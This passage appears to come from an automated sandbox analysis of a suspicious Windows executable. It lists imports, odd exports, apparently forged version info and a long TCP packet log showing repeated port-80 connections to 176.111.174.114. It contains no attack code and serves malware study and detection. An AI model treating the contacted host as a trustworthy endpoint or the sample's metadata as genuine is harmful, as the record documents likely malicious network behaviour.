TlsFree, InterlockedIncrement, GetCurrentThreadId, InterlockedDecrement, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, InitializeCriticalSectionAndSpinCount, GetCPInfo, GetACP, IsValidCodePage, MultiByteToWideChar, HeapSize, WideCharToMultiByte, GetConsoleCP, GetConsoleMode, FlushFileBuffers, LCMapStringA, LCMapStringW, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, ReadFile, CloseHandle, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, SetFilePointer, SetStdHandle, CreateFileA, GetModuleHandleA
USER32.dll	GetTitleBarInfo
ADVAPI32.dll	SetThreadToken

Exports

Name	Ordinal	Address
_reaper@8	1	0x40e1e0
_zdravstvuite@4	2	0x40e1d0

Version Infos

Description	Data
ProductVersus	1.8.37.29
FileVerus	1.0.52.18
Translations	0x0386 0x0186

Possible Origin

Language of compilation system	Country where language is spoken	Map
Slovenian	Slovenia

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 28, 2021 23:22:02.050304890 CEST	49675	443	192.168.2.5	40.126.31.1
Apr 28, 2021 23:22:02.050352097 CEST	49675	443	192.168.2.5	40.126.31.1
Apr 28, 2021 23:22:02.111166954 CEST	443	49675	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.111325979 CEST	443	49675	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.153333902 CEST	443	49675	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.258348942 CEST	443	49675	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.258416891 CEST	443	49675	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.258441925 CEST	443	49675	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.258480072 CEST	443	49675	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.258521080 CEST	443	49675	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.258583069 CEST	443	49675	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.258625031 CEST	443	49675	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.258634090 CEST	49675	443	192.168.2.5	40.126.31.1
Apr 28, 2021 23:22:02.258663893 CEST	49675	443	192.168.2.5	40.126.31.1
Apr 28, 2021 23:22:02.258671999 CEST	443	49675	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.258711100 CEST	443	49675	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.258737087 CEST	49675	443	192.168.2.5	40.126.31.1
Apr 28, 2021 23:22:02.299261093 CEST	49685	443	192.168.2.5	40.126.31.1
Apr 28, 2021 23:22:02.299346924 CEST	49685	443	192.168.2.5	40.126.31.1
Apr 28, 2021 23:22:02.299560070 CEST	49675	443	192.168.2.5	40.126.31.1
Apr 28, 2021 23:22:02.299597979 CEST	49675	443	192.168.2.5	40.126.31.1
Apr 28, 2021 23:22:02.300710917 CEST	49689	443	192.168.2.5	40.126.31.1
Apr 28, 2021 23:22:02.360471010 CEST	443	49685	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.360507965 CEST	443	49685	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.361203909 CEST	443	49675	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.361234903 CEST	443	49675	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.361571074 CEST	443	49689	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.361721039 CEST	49689	443	192.168.2.5	40.126.31.1
Apr 28, 2021 23:22:02.362021923 CEST	49689	443	192.168.2.5	40.126.31.1
Apr 28, 2021 23:22:02.427835941 CEST	443	49689	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.427874088 CEST	443	49689	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.427890062 CEST	443	49689	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.427911997 CEST	443	49689	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.427930117 CEST	443	49689	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.428013086 CEST	49689	443	192.168.2.5	40.126.31.1
Apr 28, 2021 23:22:02.428071976 CEST	49689	443	192.168.2.5	40.126.31.1
Apr 28, 2021 23:22:02.448741913 CEST	49689	443	192.168.2.5	40.126.31.1
Apr 28, 2021 23:22:02.504798889 CEST	443	49685	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.504868031 CEST	443	49685	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.504906893 CEST	443	49685	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.504944086 CEST	443	49685	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.504987001 CEST	443	49685	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.505023956 CEST	443	49685	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.505067110 CEST	443	49685	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.505101919 CEST	49685	443	192.168.2.5	40.126.31.1
Apr 28, 2021 23:22:02.505108118 CEST	443	49685	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.505127907 CEST	49685	443	192.168.2.5	40.126.31.1
Apr 28, 2021 23:22:02.505145073 CEST	443	49685	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.505148888 CEST	49685	443	192.168.2.5	40.126.31.1
Apr 28, 2021 23:22:02.510381937 CEST	443	49689	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.511715889 CEST	443	49675	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.511755943 CEST	443	49675	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.511779070 CEST	443	49675	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.511804104 CEST	443	49675	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.511828899 CEST	443	49675	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.511852980 CEST	443	49675	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.511871099 CEST	49675	443	192.168.2.5	40.126.31.1
Apr 28, 2021 23:22:02.511877060 CEST	443	49675	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.511902094 CEST	443	49675	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.511909008 CEST	49675	443	192.168.2.5	40.126.31.1
Apr 28, 2021 23:22:02.511924982 CEST	443	49675	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.511943102 CEST	49675	443	192.168.2.5	40.126.31.1
Apr 28, 2021 23:22:02.534744978 CEST	49689	443	192.168.2.5	40.126.31.1
Apr 28, 2021 23:22:02.536516905 CEST	49689	443	192.168.2.5	40.126.31.1
Apr 28, 2021 23:22:02.560568094 CEST	49675	443	192.168.2.5	40.126.31.1
Apr 28, 2021 23:22:02.560570002 CEST	49685	443	192.168.2.5	40.126.31.1
Apr 28, 2021 23:22:02.598567009 CEST	443	49689	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.598598003 CEST	443	49689	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.745007992 CEST	443	49689	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.745043993 CEST	443	49689	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.745064020 CEST	443	49689	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.745085001 CEST	443	49689	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.745109081 CEST	443	49689	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.745134115 CEST	443	49689	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.745157957 CEST	443	49689	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.745184898 CEST	443	49689	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.745187998 CEST	49689	443	192.168.2.5	40.126.31.1
Apr 28, 2021 23:22:02.745204926 CEST	443	49689	40.126.31.1	192.168.2.5
Apr 28, 2021 23:22:02.745234966 CEST	49689	443	192.168.2.5	40.126.31.1
Apr 28, 2021 23:22:02.745260000 CEST	49689	443	192.168.2.5	40.126.31.1
Apr 28, 2021 23:22:12.364661932 CEST	443	49681	20.190.160.130	192.168.2.5
Apr 28, 2021 23:22:14.107863903 CEST	443	49687	20.190.160.72	192.168.2.5
Apr 28, 2021 23:22:14.251393080 CEST	443	49686	20.190.160.72	192.168.2.5
Apr 28, 2021 23:22:15.475441933 CEST	443	49690	20.190.160.72	192.168.2.5
Apr 28, 2021 23:22:15.670981884 CEST	443	49676	20.190.160.130	192.168.2.5
Apr 28, 2021 23:22:22.099200964 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.099634886 CEST	49712	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.196296930 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.196465969 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.197117090 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.204833031 CEST	80	49712	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.204986095 CEST	49712	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.205513000 CEST	49712	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.292352915 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.292845964 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.292877913 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.292912006 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.292927027 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.292949915 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.292993069 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.292995930 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.293040037 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.293047905 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.293095112 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.293104887 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.293126106 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.293149948 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.293164968 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.293183088 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.293231964 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.293236017 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.293281078 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.293283939 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.293333054 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.310211897 CEST	80	49712	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.316633940 CEST	80	49712	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.316751957 CEST	49712	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.390278101 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.390306950 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.390331984 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.390353918 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.390376091 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.390398026 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.390420914 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.390441895 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.390466928 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.390490055 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.390511036 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.390532970 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.390554905 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.390577078 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.390599012 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.390619993 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.390644073 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.390666962 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.390688896 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.390711069 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.390856028 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.423657894 CEST	49712	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.424923897 CEST	49713	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.487436056 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.487473011 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.487495899 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.487519979 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.487546921 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.487566948 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.487571001 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.487595081 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.487617016 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.487618923 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.487638950 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.487643957 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.487664938 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.487668991 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.487687111 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.487693071 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.487710953 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.487715960 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.487734079 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.487749100 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.487751961 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.487775087 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.487786055 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.487797022 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.487807989 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.487823009 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.487833023 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.487847090 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.487862110 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.487869024 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.487884998 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.487891912 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.487901926 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.487915993 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.487926960 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.487937927 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.487948895 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.487961054 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.487977028 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.487983942 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.487993002 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.488009930 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.488018990 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.488033056 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.488049030 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.488055944 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.488065004 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.488079071 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.488089085 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.488104105 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.488111973 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.488126993 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.488142014 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.488148928 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.488157034 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.488172054 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.488187075 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.488198042 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.488207102 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.488221884 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.488230944 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.488243103 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.488260031 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.488265991 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.488280058 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.488287926 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.488303900 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.488311052 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.488327026 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.488333941 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.488342047 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.488356113 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.488370895 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.488382101 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.488388062 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.488415956 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.522752047 CEST	80	49713	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.522849083 CEST	49713	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.523286104 CEST	49713	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.525803089 CEST	80	49712	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.526087046 CEST	49712	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.583410025 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.583446980 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.583468914 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.583491087 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.583513975 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.583538055 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.583561897 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.583584070 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.583605051 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.583626986 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.583647966 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.583671093 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.583693027 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.583717108 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.583739996 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.583761930 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.583782911 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.583803892 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.583826065 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.583848000 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.583868980 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.583893061 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.583914995 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.583935976 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.583956957 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.583976030 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.584105015 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.621349096 CEST	80	49713	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.634303093 CEST	80	49713	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.634454012 CEST	49713	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.750694990 CEST	49713	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.750986099 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.752063036 CEST	49714	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.847549915 CEST	80	49711	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.847573042 CEST	80	49714	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.847651005 CEST	49711	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.847714901 CEST	49714	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.848679066 CEST	49714	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.849487066 CEST	80	49713	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.849586010 CEST	49713	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:22.944334030 CEST	80	49714	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.948796988 CEST	80	49714	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:22.948910952 CEST	49714	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:23.069109917 CEST	49714	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:23.071985960 CEST	49715	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:23.166325092 CEST	80	49714	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:23.166402102 CEST	49714	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:23.172396898 CEST	80	49715	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:23.172477961 CEST	49715	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:23.176055908 CEST	49715	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:23.275816917 CEST	80	49715	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:23.279736042 CEST	80	49715	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:23.279799938 CEST	49715	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:23.391562939 CEST	49715	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:23.393052101 CEST	49716	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:23.489167929 CEST	80	49716	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:23.489289045 CEST	49716	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:23.491009951 CEST	49716	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:23.491159916 CEST	80	49715	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:23.491241932 CEST	49715	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:23.586996078 CEST	80	49716	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:23.590361118 CEST	80	49716	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:23.590498924 CEST	49716	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:23.704201937 CEST	49716	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:23.705622911 CEST	49717	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:23.799382925 CEST	80	49717	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:23.799540043 CEST	49717	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:23.799770117 CEST	80	49716	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:23.799833059 CEST	49716	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:23.800632954 CEST	49717	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:23.894273996 CEST	80	49717	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:23.898601055 CEST	80	49717	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:23.898745060 CEST	49717	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:24.002394915 CEST	49717	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:24.005938053 CEST	49718	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:24.096123934 CEST	80	49717	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:24.096316099 CEST	49717	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:24.105793953 CEST	80	49718	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:24.105998039 CEST	49718	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:24.106570005 CEST	49718	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:24.207412958 CEST	80	49718	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:24.213471889 CEST	80	49718	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:24.213578939 CEST	49718	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:24.329094887 CEST	49718	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:24.330583096 CEST	49719	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:24.424469948 CEST	80	49719	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:24.425024033 CEST	49719	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:24.426379919 CEST	49719	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:24.428860903 CEST	80	49718	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:24.430418015 CEST	49718	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:24.520800114 CEST	80	49719	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:24.528614998 CEST	80	49719	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:24.528712988 CEST	49719	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:24.645085096 CEST	49719	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:24.646961927 CEST	49720	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:24.738449097 CEST	80	49719	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:24.738557100 CEST	49719	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:24.744918108 CEST	80	49720	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:24.745012045 CEST	49720	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:24.745490074 CEST	49720	80	192.168.2.5	176.111.174.114
